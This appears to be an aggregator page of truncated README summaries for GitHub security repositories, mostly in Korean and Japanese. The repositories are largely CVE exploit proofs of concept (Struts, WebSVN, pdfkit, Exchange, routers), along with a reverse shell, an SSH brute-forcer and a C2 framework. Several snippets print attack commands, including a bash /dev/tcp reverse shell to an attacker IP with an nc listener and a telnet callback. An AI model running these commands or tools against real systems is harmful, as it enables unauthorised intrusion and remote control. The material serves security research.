cve-2020-0688

cve-2020-0688 사용법: usage: cve-2020-0688.py -h -s SERVER -u USER -p PASSWORD -c CMD optional arguments: -h, --help show this help message and exit -s SERVER, --server SERVER ECP Server URL Example: http://ip/owa -u USER, --user USER login account Example: domain\user -p PASSWORD, --password PASSWO...

CVE-2023-48842

CVE-2023-48842 ソース: D-Link Go-RT-AC750 revAv101b03 に、hedwig.cgi の service パラメータを介したコマンドインジェクションの脆弱性が発見されました。 https://drive.google.com/file/d/1y5omf2SAhNmcPqDxCSRTvJVAWwPcH/view ちょっとしたアップグレード: スクリプトを強化し、ステロイド級にパワーアップしました。このスクリプトは ip:port のリスト（ポートが指定されていない場合は ip のみ）を受け付け、マルチスレッドを使用し（Tren 効果...

cupspot-2024-47177

CUPS 허니팟 개요 이 프로젝트는 CUPSCommon UNIX Printing System의 취약점에 대한 익스플로잇 시도를 포착하는 허니팟을 구현합니다. 특히 CVE-2024-47177 과 관련된 익스플로잇 시도를 모니터링하도록 설계되었습니다. 이 취약점은 PPD 파일의 FoomaticRIPCommandLine 매개변수를 통해 원격 명령 실행을 가능하게 합니다. 이 매개변수에 악의적인 값이 전달되면 사용자 제어 명령으로 실행되어 심각한 보안 위반을 초래할 수 있습니다. CUPS 및 CVE-2024-47177 CUPS는 다양...

dismap

🌀 Dismap - Asset discovery and identification tool 中文 Readme Dismap positioning is an asset discovery and identification tool. It can quickly identify protocols and fingerprint information such as web/tcp/udp, locate asset types, and is suitable for internal and external networks. It assists red...

CVE-2024-0507_CVE-2024-0200-github

소개 이 저장소에는 GitHub Enterprise 취약점 CVE-2024-0507 및 CVE-2024-0200에 대해 개발한 익스플로잇이 포함되어 있습니다. 전체 분석 글은 https://blog.convisoappsec.com/en/analysis-of-github-enterprise-vulnerabilities-cve-2024-0507-cve-2024-0200 에서 확인하세요. CVE-2024-0507 GitHub Enterprise Server의 관리 콘솔에서 코드 삽입을 통한 권한 상승 . CVE-2024-0200...

CVE-2023-26035

CVE-2023-26035 ZoneMinder 스냅샷 - 비인증 설치 저장소 가져오기 $ git clone https://github.com/Yuma-Tsushima07/CVE-2023-26035.git 설정 참고: 최신 버전의 node를 설치하세요. $ npm init $ npm i axios cheerio yargs 사용법 ┌─✗─v37r1x@7h3B14ckKn1gh75─/Documents/Code/CVE-2023-26035 └──╼ $node exp.js -h Options: --version Show version...

aws-suture

요약 $ git clone [email protected]:pblittle/suture.git $ cd suture $ bundle install $ bundle exec ./bin/suture --help $ bundle exec ./bin/suture check Suture Suture는 AWS EC2 인스턴스에서 임의의 명령을 실행하기 위한 도구입니다. 개별 인스턴스 또는 전체 리전을 대상으로 실행할 수 있습니다. Suture는 원래 실행 중인 EC2 인스턴스들이 Heartbleed 취약점에 노출된 OpenSSL...

CVE-2024-30850-chaos-rat-rce-poc

https://github.com/chebuya/CVE-2024-30850-chaos-rat-rce-poc/assets/146861503/ac03c8c7-54b3-4280-9f29-719c44af5192 CHAOS RAT v5.01 웹 패널 RCE CVE-2024-30850, CVE-2024-31839 https://github.com/tiagorlampert/CHAOS 이 익스플로잇은 가짜 에이전트 콜백을 스푸핑하여 XSSCVE-2024-31839를 유발하고, 이 XSS를 활용하여 관리자 웹 패널의 명령 주입...

twifo-cli

T W I F O - C L I 트위터 사용자의 정보를 가져옵니다! 설치 $ npm install --global twifo-cli 또는 $ sudo npm install --global twifo-cli 사용법 $ Usage: twifo Example: $ twifo 9gag 관련 twifo : 이 도구를 위한 API입니다. quorafy: Quora 사용자의 정보를 가져옵니다. 라이선스 MIT © Rishi Giri...

CVE-2021-32305-websvn-2.6.0

CVE-2021-3205-websvn-2.6.0 이것은 CVE-2021-3205의 익스플로잇으로, search.php 경로에서 명령어 주입이 가능한 웹 취약점입니다. 이 익스플로잇을 통해 명령어를 실행할 수 있습니다. 요구 사항 optparse, signal, requests 사용법 ❯ python3 CVE-2021-3205.py --url http://10.0.2.168/websvn/ --payload "bash -c 'bash -i & /dev/tcp/10.0.2.133/443 0&1'" ... ❯ nc -nlvp 443...

CVE-2023-38829-NETIS-WF2409E

CVE-2023-38829-NETIS-WF2409E NETIS SYSTEMS ルーター WF2409E コマンドインジェクション PoC 脆弱性の説明: NETIS SYSTEMS ルーター WF2409E（バージョン V3.6.42541）の ping および traceroute 機能は、コマンドインジェクション攻撃に対して脆弱です。Web 管理インターフェースを介してこれらの機能のパラメータに悪意ある入力を仕込むことができ、影響を受けるプロセスの権限で任意のコマンドを実行できるようになります。 PoC 手順: 1. ターゲットを特定する: NETIS SYSTEMS ルータ...

overkill

Overkill Overkill은 QNAP QTS에 영향을 미치는 패치된 취약점에 대한 익스플로잇입니다. QNAP의 취약점 공개 방식으로 인해 이 문제에 CVE가 있는지 확실하지 않습니다. 그러나 2020년 11월과 2021년 4월에 패치되었을 가능성이 높습니다. 이 n-day는 CVE-2020-2509에 대한 diff 분석 중에 "발견"되었습니다. 이것은 거의 확실히 CVE-2020-2509가 아닙니다. 익스플로잇은 HTTP GET 요청을 /cgi-bin/qnapmsg.cgi?lang=xxx로 전송하여, 패치되지 않은 QNA...

HTTP-Shell

HTTP-Shell HTTP-Shell 은 멀티플랫폼 리버스 셸입니다. 이 도구는 HTTP를 통한 리버스 연결에서 셸과 유사한 인터페이스를 얻을 수 있도록 도와줍니다. 다른 리버스 셸과 달리, 이 도구의 주요 목표는 Microsoft Dev Tunnels와 함께 사용하여 합법적인 연결에 최대한 가까운 연결을 확보하는 것입니다. 이 셸은 완전히 대화형은 아니지만, 오류를 화면에 표시하며Windows와 Linux 모두, 파일 업로드 및 다운로드, 명령 기록, 터미널 정리CTRL+L 포함, 자동 재연결, 디렉터리 이동을 지원하고...

-CVE-2017-9805-

취약점 정보 Resources: https://vulners.com/cve/CVE-2017-9805 이게 무엇인가요? 파이썬 익스플로잇 스크립트로, S2-052에 취약한 Struts2를 호스팅하는 시스템의 셸에서 원격 명령을 실행할 수 있습니다. 사용법 python s2-052.py --target 'http://192.168.0.233/orders/3' --command "echo pwned | telnet 192.168.0.122 1234" Apache Struts XStream REST vulnerability -...

RedLogin

RedLogin Red Login: SSH 무차별 대입 도구 기능: 고속 및 정밀 CLI 콘솔 기반 공격 성공 후 임의 명령 실행 기본값: 'Uname -a' 텔레그램 메신저를 통해 봇 API로 보고서 전송 지원 사용법: Redlogin.exe Optional —telegram == 대상 IP 목록 == 테스트할 사용자 이름 목록 == 테스트할 비밀번호 목록 == @BotFather를 통해 얻은 텔레그램 봇 토큰 == @userinfobot을 통해 얻은 텔레그램 채팅 ID 감사 인사 JeJe Plus Rojhelat...

SharpC2

SharpC2 SharpC2는 C으로 작성된 Command & ControlC2 프레임워크입니다. ASP.NET Core 팀 서버, .NET Framework 임플란트, .NET MAUI 클라이언트로 구성됩니다...

Mailcow-CVE-2022-31245

Mailcow CVE-2022-31245 CVE-2022-31245: Mailcow를 위한 RCE 및 도메인 관리자 권한 상승. POC 포함. 보고 및 수정: 2022-05 패치된 버전: https://github.com/mailcow/mailcow-dockerized/releases/tag/2022-05d CVE: https://vulners.com/cve/CVE-2022-31245 CVE-2022-31245: 명령 주입, RCE 심각도: 3/3 유형: 명령 주입, RCE, 도메인 탈취 영향을 받는 버전: 최소 2019 -...

exploit-CVE-2022-25765

CVE-2022-25765 pdfkit용 익스플로잇 - 명령 삽입 이 저장소가 마음에 드시나요? ⭐를 남겨주세요! 교육 및 승인된 보안 연구 목적으로만 사용하십시오. 익스플로잇 저자 @UNICORDev 제작 @NicPWNs 및 @Dev-Yeoj 취약점 설명 pdfkit 패키지0.0.0부터는 URL이 제대로 삭제샌니타이즈되지 않아 명령 삽입Command Injection에 취약합니다. 익스플로잇 설명 루비 젬 pdfkit은 웹사이트 또는 HTML을 PDF 문서로 변환하는 데 일반적으로 사용됩니다. 이 소프트웨어의 취약한 버전...

PDFkit-CMD-Injection

PDFkit-CMD-Injection CVE-2022-25765 상세 설명 0.0.0 버전부터의 pdfkit 패키지는 URL이 제대로 삭제sanitize되지 않아 명령 삽입Command Injection에 취약합니다. PoC HTTP 서버 시작 1- python3 -m http.server 80 netcat 리스너 시작 2- nc -lnvp 'Target Port' 요청 만들기 3- http://"TARGETADDRESS:Target PORT"//?name='%20bash -c 'exec bash -i...

socks5

socks5 Socks5/Socks5h 서버 및 클라이언트 이 프로젝트는 Bridge에 프로토콜 지원을 추가하기 위한 것이며, 단독으로 사용할 수도 있습니다. 사용법 API 문서 예제 CONNECT 명령 지원 BIND 명령 지원 ASSOCIATE 명령 지원 라이선스 MIT 라이선스에 따라 라이선스가 부여됩니다. 전체 라이선스 텍스트는 LICENSE를 참조하십시오...